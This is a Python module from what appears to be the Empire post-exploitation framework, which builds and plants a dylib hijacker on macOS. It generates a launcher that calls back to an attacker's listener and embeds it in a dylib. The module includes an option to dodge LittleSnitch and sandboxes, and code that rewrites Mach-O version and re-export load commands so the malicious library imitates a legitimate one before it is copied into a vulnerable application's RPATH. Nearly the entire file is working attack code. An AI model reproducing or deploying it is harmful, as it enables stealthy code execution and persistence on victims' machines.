text: from builtins import object
  import base64
  class Module(object):
  
      def __init__(self, mainMenu, params=[]):
  
          # metadata info about the module, not modified during runtime
          self.info = {
              # name for the module that will appear in module menus
              'Name': 'CreateDylibHijacker',
  
              # list of one or more authors for the module
              'Author': ['@patrickwardle,@xorrior'],
  
              # more verbose multi-line description of the module
              'Description': ('Configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath'),
  
              # True if the module needs to run in the background
              'Background' : False,
  
              # File extension to save the file as
              'OutputExtension' : "",
  
              'NeedsAdmin' : True,
  
              # True if the method doesn't touch disk/is reasonably opsec safe
              'OpsecSafe' : False,
  
              # the module language
              'Language' : 'python',
  
              # the minimum language version needed
              'MinLanguageVersion' : '2.6',
  
              # list of any references/other comments
              'Comments': [
                  'comment',
                  'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x'
              ]
          }
  
          # any options needed by the module, settable during runtime
          self.options = {
              # format:
              #   value_name : {description, required, default_value}
              'Agent' : {
                  # The 'Agent' option is the only one that MUST be in a module
                  'Description'   :   'Agent to execute module on.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'Listener' : {
                  'Description'   :   'Listener to use.',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'Arch' : {
                  'Description'   :   'Arch: x86/x64',
                  'Required'      :   True,
                  'Value'         :   'x86'
              },
              'SafeChecks' : {
                  'Description'   :   'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
                  'Required'      :   True,
                  'Value'         :   'True'
              },
              'UserAgent' : {
                  'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                  'Required'      :   False,
                  'Value'         :   'default'
              },
              'LegitimateDylibPath' : {
                  'Description'   :   'Full path to the legitimate dylib of the vulnerable application',
                  'Required'      :   True,
                  'Value'         :   ''
              },
              'VulnerableRPATH' : {
                  'Description'   :   'Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.',
                  'Required'      :   True,
                  'Value'         :   ''
              }
          }
  
          # save off a copy of the mainMenu object to access external functionality
          #   like listeners/agent handlers/etc.
          self.mainMenu = mainMenu
  
          # During instantiation, any settable option parameters
          #   are passed as an object set to the module and the
          #   options dictionary is automatically set. This is mostly
          #   in case options are passed on the command line
          if params:
              for param in params:
                  # parameter format is [Name, Value]
                  option, value = param
                  if option in self.options:
                      self.options[option]['Value'] = value
  
      def generate(self, obfuscate=False, obfuscationCommand=""):
  
          # the Python script itself, with the command to invoke
          #   for execution appended to the end. Scripts should output
          #   everything to the pipeline for proper parsing.
          #
          # the script should be stripped of comments, with a link to any
          #   original reference script included in the comments.
          listenerName = self.options['Listener']['Value']
          userAgent = self.options['UserAgent']['Value']
          safeChecks = self.options['SafeChecks']['Value']
          arch = self.options['Arch']['Value']
          launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python', userAgent=userAgent, safeChecks=safeChecks)
          launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
          dylibBytes = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker='true')
          encodedDylib = base64.b64encode(dylibBytes)
          dylib = self.options['LegitimateDylibPath']['Value']
          vrpath = self.options['VulnerableRPATH']['Value']
  
          script = """
  from ctypes import *
  def run(attackerDYLIB):
  
      import ctypes
      import io
      import os
      import sys
      import fcntl
      import shutil
      import struct
      import stat
  
  
      LC_REQ_DYLD = 0x80000000
      LC_LOAD_WEAK_DYLIB = LC_REQ_DYLD | 0x18
      LC_RPATH = (0x1c | LC_REQ_DYLD)
      LC_REEXPORT_DYLIB = 0x1f | LC_REQ_DYLD
  
      (
          LC_SEGMENT, LC_SYMTAB, LC_SYMSEG, LC_THREAD, LC_UNIXTHREAD, LC_LOADFVMLIB,
          LC_IDFVMLIB, LC_IDENT, LC_FVMFILE, LC_PREPAGE, LC_DYSYMTAB, LC_LOAD_DYLIB,
          LC_ID_DYLIB, LC_LOAD_DYLINKER, LC_ID_DYLINKER, LC_PREBOUND_DYLIB,
          LC_ROUTINES, LC_SUB_FRAMEWORK, LC_SUB_UMBRELLA, LC_SUB_CLIENT,
          LC_SUB_LIBRARY, LC_TWOLEVEL_HINTS, LC_PREBIND_CKSUM
      ) = range(0x1, 0x18)
  
      MH_MAGIC = 0xfeedface
      MH_CIGAM = 0xcefaedfe
      MH_MAGIC_64 = 0xfeedfacf
      MH_CIGAM_64 = 0xcffaedfe
  
      _CPU_ARCH_ABI64  = 0x01000000
  
      CPU_TYPE_NAMES = {
          -1:     'ANY',
          1:      'VAX',
          6:      'MC680x0',
          7:      'i386',
          _CPU_ARCH_ABI64  | 7:    'x86_64',
          8:      'MIPS',
          10:     'MC98000',
          11:     'HPPA',
          12:     'ARM',
          13:     'MC88000',
          14:     'SPARC',
          15:     'i860',
          16:     'Alpha',
          18:     'PowerPC',
          _CPU_ARCH_ABI64  | 18:    'PowerPC64',
      }
  
  
  
      #structs that we need
  
      class mach_header(ctypes.Structure):
  
          _fields_ = [
  
              ("magic", ctypes.c_uint),
              ("cputype", ctypes.c_uint),
              ("cpusubtype", ctypes.c_uint),
              ("filetype", ctypes.c_uint),
              ("ncmds", ctypes.c_uint),
              ("sizeofcmds", ctypes.c_uint),
              ("flags", ctypes.c_uint)
  
          ]
  
      class mach_header_64(ctypes.Structure):
          _fields_ = mach_header._fields_ + [('reserved',ctypes.c_uint)]
  
      class load_command(ctypes.Structure):
          _fields_ = [
              ("cmd", ctypes.c_uint),
              ("cmdsize", ctypes.c_uint)
          ]
  
  
      LC_HEADER_SIZE = 0x8
  
  
      def checkPrereqs(attackerDYLIB, targetDYLIB):
  
  
          if not os.path.exists(attackerDYLIB):
  
  
              print 'ERROR: dylib \\'%%s\\' not found' %% (attackerDYLIB)
              return False
  
  
          if not os.path.exists(targetDYLIB):
  
  
              print 'ERROR: dylib \\'%%s\\' not found' %% (targetDYLIB)
              return False
  
          attacker = open(attackerDYLIB)
          target = open(targetDYLIB)
  
          attackerHeader = mach_header.from_buffer_copy(attacker.read(28))
          targetHeader = mach_header.from_buffer_copy(target.read(28))
  
          if attackerHeader.cputype != targetHeader.cputype:
              print 'ERROR: Architecture mismatch'
              attacker.close()
              target.close()
              return False
  
          return True
  
  
      def findLoadCommand(fileHandle, targetLoadCommand):
  
  
          MACHHEADERSZ64 = 32
          MACHHEADERSZ = 28
          matchedOffsets = []
          #wrap
          try:
              header = mach_header.from_buffer_copy(fileHandle.read(MACHHEADERSZ))
              if header.magic == MH_MAGIC_64:
                  fileHandle.seek(0, io.SEEK_SET)
                  header = mach_header_64.from_buffer_copy(fileHandle.read(MACHHEADERSZ64))
              ncmds = header.ncmds
  
              # Get to the load commands
              current = fileHandle.tell() #save offset to load command
  
              for cmd in range(ncmds):
  
                  offset = current
                  lc = load_command.from_buffer_copy(fileHandle.read(LC_HEADER_SIZE))
                  size = lc.cmdsize
                  if lc.cmd == targetLoadCommand:
  
                      matchedOffsets.append(offset)
  
                  fileHandle.seek(size - LC_HEADER_SIZE, io.SEEK_CUR)
                  current = fileHandle.tell()
  
          #exceptions
          except Exception, e:
  
              #err msg
              print 'EXCEPTION (finding load commands): %%s' %% e
  
              #reset
              matchedOffsets = None
  
          return matchedOffsets
  
      #configure version info
      #  1) find/extract version info from target .dylib
      #  2) find/update version info from hijacker .dylib to match target .dylib
      def configureVersions(attackerDYLIB, targetDYLIB):
  
          #wrap
          try:
  
              #dbg msg
              print ' [+] parsing \\'%%s\\' to extract version info' %% (os.path.split(targetDYLIB)[1])
  
              #open target .dylib
              fileHandle = open(targetDYLIB, 'rb')
  
              #find LC_ID_DYLIB load command
              # ->and check
              versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
              if not versionOffsets or not len(versionOffsets):
  
                  #err msg
                  print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(targetDYLIB)[1])
  
                  #bail
                  return False
  
              #dbg msg
              print '     found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)
  
              #seek to offset of LC_ID_DYLIB
              fileHandle.seek(versionOffsets[0], io.SEEK_SET)
  
              #seek to skip over LC header and timestamp
              fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
  
              '''
              struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; };
              '''
  
              #extract current version
              currentVersion = fileHandle.read(4)
  
              #extract compatibility version
              compatibilityVersion = fileHandle.read(4)
  
              #dbg msg(s)
              print '     extracted current version: 0x%%x' %% (struct.unpack('<L', currentVersion)[0])
              print '     extracted compatibility version: 0x%%x' %% (struct.unpack('<L', compatibilityVersion)[0])
  
              #close
              fileHandle.close()
  
              #dbg msg
              print ' [+] parsing \\'%%s\\' to find version info' %% (os.path.split(attackerDYLIB)[1])
  
              #open target .dylib
              fileHandle = open(attackerDYLIB, 'rb+')
  
              #find LC_ID_DYLIB load command
              # ->and check
              versionOffsets = findLoadCommand(fileHandle, LC_ID_DYLIB)
              if not versionOffsets or not len(versionOffsets):
  
                  #err msg
                  print 'ERROR: failed to find \\'LC_ID_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])
  
                  #bail
                  return False
  
              #dbg msg(s)
              print '     found \\'LC_ID_DYLIB\\' load command at offset(s): %%s' %% (versionOffsets)
              print ' [+] updating version info in %%s to match %%s' %% ((os.path.split(attackerDYLIB)[1]), (os.path.split(targetDYLIB)[1]))
  
              #update version info
              for versionOffset in versionOffsets:
  
                  #seek to offset of LC_ID_DYLIB
                  fileHandle.seek(versionOffset, io.SEEK_SET)
  
                  #seek to skip over LC header and timestamp
                  fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
  
                  #dbg msg
                  print 'setting version info at offset %%s' %% (versionOffset)
  
                  #set current version
                  fileHandle.write(currentVersion)
  
                  #set compatability version
                  fileHandle.write(compatibilityVersion)
  
              #close
              fileHandle.close()
  
          except Exception, e:
  
              #err msg
              print 'EXCEPTION (configuring version info): %%s' %% e
  
  
          return True
  
      #configure re-export
      # ->update hijacker .dylib to re-export everything to target .dylib
      def configureReExport(attackerDYLIB, targetDYLIB):
  
          #wrap
          try:
  
              #dbg msg
              print ' [+] parsing \\'%%s\\' to extract faux re-export info' %% (os.path.split(attackerDYLIB)[1])
  
              #open attacker's .dylib
              fileHandle = open(attackerDYLIB, 'rb+')
  
              #find LC_REEXPORT_DYLIB load command
              # ->and check
              reExportOffsets = findLoadCommand(fileHandle, LC_REEXPORT_DYLIB)
              if not reExportOffsets or not len(reExportOffsets):
  
                  #err msg
                  print 'ERROR: failed to find \\'LC_REEXPORT_DYLIB\\' load command in %%s' %% (os.path.split(attackerDYLIB)[1])
  
                  #bail
                  return False
  
              #dbg msg
              print '     found \\'LC_REEXPORT_DYLIB\\' load command at offset(s): %%s' %% (reExportOffsets)
  
              '''
              struct dylib { union lc_str name; uint_32 timestamp; uint_32 current_version; uint_32 compatibility_version; };
              '''
  
              #update re-export info
              #TODO: does the current and compat version need to match? we can easily set it
              for reExportOffset in reExportOffsets:
  
                  #seek to offset of LC_REEXPORT_DYLIB
                  fileHandle.seek(reExportOffset, io.SEEK_SET)
  
                  #seek to skip over command
                  fileHandle.seek(0x4, io.SEEK_CUR)
  
                  #read in size of load command
                  commandSize = struct.unpack('<L', fileHandle.read(4))[0]
  
                  #dbg msg
                  print '     extracted LC command size: 0x%%x' %% (commandSize)
  
                  #read in path offset
                  pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
  
                  #dbg msg
                  print '     extracted path offset: 0x%%x' %% (pathOffset)
  
                  #seek to path offset
                  fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
  
                  #calc length of path
                  # it makes up rest of load command data
                  pathSize = commandSize - (fileHandle.tell() - reExportOffset)
  
                  #dbg msg
                  print '     computed path size: 0x%%x' %% (pathSize)
  
                  #read out path
                  data = targetDYLIB + '\\0' * (pathSize - len(targetDYLIB))
                  fileHandle.write(data)
  
                  #path can include NULLs so lets chop those off
                  #path = path.rstrip('\0')
  
                  #dbg msg(s)
                  #print '     extracted faux path: %%s' %% (path)
  
                  #close
                  fileHandle.close()
  
                  #dbg msg
                  print ' [+] updated embedded re-export'
  
                  #wrap
  
          #handle exceptions
          except Exception, e:
  
              #err msg
              print 'EXCEPTION (configuring re-exports): %%s' %% e
  
              #bail
              return False
  
          return True
  
      def configure(attackerDYLIB, targetDYLIB):
  
          #configure version info
          # ->update attacker's .dylib to match target .dylib's version info
          if not configureVersions(attackerDYLIB, targetDYLIB):
  
              #err msg
              print 'ERROR: failed to configure version info'
  
              #bail
              return False
  
          #configure re-export
          # ->update attacker's .dylib to re-export everything to target .dylib
          if not configureReExport(attackerDYLIB, targetDYLIB):
  
              #err msg
              print 'ERROR: failed to configure re-export'
  
              #bail
              return False
  
          return True
  
      
      #target .dylib
      targetDYLIB = "%s"
  
      vrpath = "%s"
  
  
      #configured .dylib
      configuredDYLIB = ""
  
      #init output path for configured .dylib
      configuredDYLIB = os.path.split(attackerDYLIB)[0]+'/' + os.path.split(targetDYLIB)[1]
  
      #dbg msg
      print ' [+] configuring %%s to hijack %%s' %% (os.path.split(attackerDYLIB)[1], os.path.split(targetDYLIB)[1])
  
      #check prereqs
      # ->i.e. sanity checks
      if not checkPrereqs(attackerDYLIB, targetDYLIB):
  
          #err msg
          print 'ERROR: prerequisite check failed\\n'
  
          #bail
          return ""
  
      #configure the provide .dylib
      if not configure(attackerDYLIB, targetDYLIB):
  
          #err msg
          print 'ERROR: failed to configure %%s\\n' %% (os.path.split(targetDYLIB)[1])
  
          #bail
          return ""
  
      #dbg msg
      print ' [+] copying configured .dylib to %%s' %% (configuredDYLIB)
  
      #make a (local) copy w/ name
      shutil.copy2(attackerDYLIB, configuredDYLIB)
  
      os.remove(attackerDYLIB)
      if not os.path.exists(os.path.split(vrpath)[0]):
          os.makedirs(os.path.split(vrpath)[0])
  
      os.chmod(configuredDYLIB, 0777)
      shutil.copy2(configuredDYLIB, vrpath)
  
      os.remove(configuredDYLIB)
      #dbg msg
      
      print '\\nHijacker created, renamed to %%s, and copied to %%s' %% (configuredDYLIB,vrpath)
  
  import base64
  import uuid
  encbytes = "%s"
  filename = str(uuid.uuid4())
  path = "/tmp/" + filename + ".dylib"
  decodedDylib = base64.b64decode(encbytes)
  temp = open(path,'wb')
  temp.write(decodedDylib)
  temp.close()
  run(path)
  """ % (dylib,vrpath,encodedDylib)
  
          return script
  